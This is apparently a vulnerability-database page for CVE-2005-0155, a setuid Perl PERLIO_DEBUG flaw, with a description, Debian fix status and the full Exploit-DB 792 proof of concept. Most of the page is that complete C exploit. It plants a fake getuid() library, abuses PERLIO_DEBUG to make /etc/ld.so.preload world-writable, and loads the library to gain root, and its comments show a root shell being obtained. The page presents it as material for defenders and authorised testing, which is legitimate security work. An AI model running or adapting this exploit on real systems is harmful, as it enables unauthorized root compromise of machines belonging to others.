CVE-2005-0155

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

The PerlIO implementation in Perl 5.8.0, when installed with setuid support (sperl), allows local users to create arbitrary files via the PERLIO_DEBUG variable.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-792 local linux verified text · 2 KB
Kevin Finisterre · 2005-02-07

Setuid perl - 'PerlIO_Debug()' Root Owned File Creation Privilege Escalation

text exploit Source: Exploit-DB
/*
 * Copyright Kevin Finisterre 
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
 *
 * this exploits a vulnerability in the PERLIO_DEBUG functionality
 * tested against sperl5.8.4 on Debian
 *
 * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
 * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
 * ls: /etc/ld.so.preload: No such file or directory
 * kfinisterre@jdam:~$ ./ex_perl
 * sperl needs fd script
 * You should not call sperl directly; do you need to change a #! line
 * from sperl to perl?
 * kfinisterre@jdam:~$ su -
 * jdam:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * jdam:~# rm /etc/ld.so.preload
 *
 */


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
	fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

	putenv("PERLIO_DEBUG="PRELOAD);
        umask(001); // I'm rw-rw-rw james bitch!
        system("/usr/bin/sperl5.8.4");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}

// milw0rm.com [2005-02-07]

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 5.8.4-6
sid Fixed 5.8.4-6
forky Fixed 5.8.4-6
bullseye Fixed 5.8.4-6
bookworm Fixed 5.8.4-6

References

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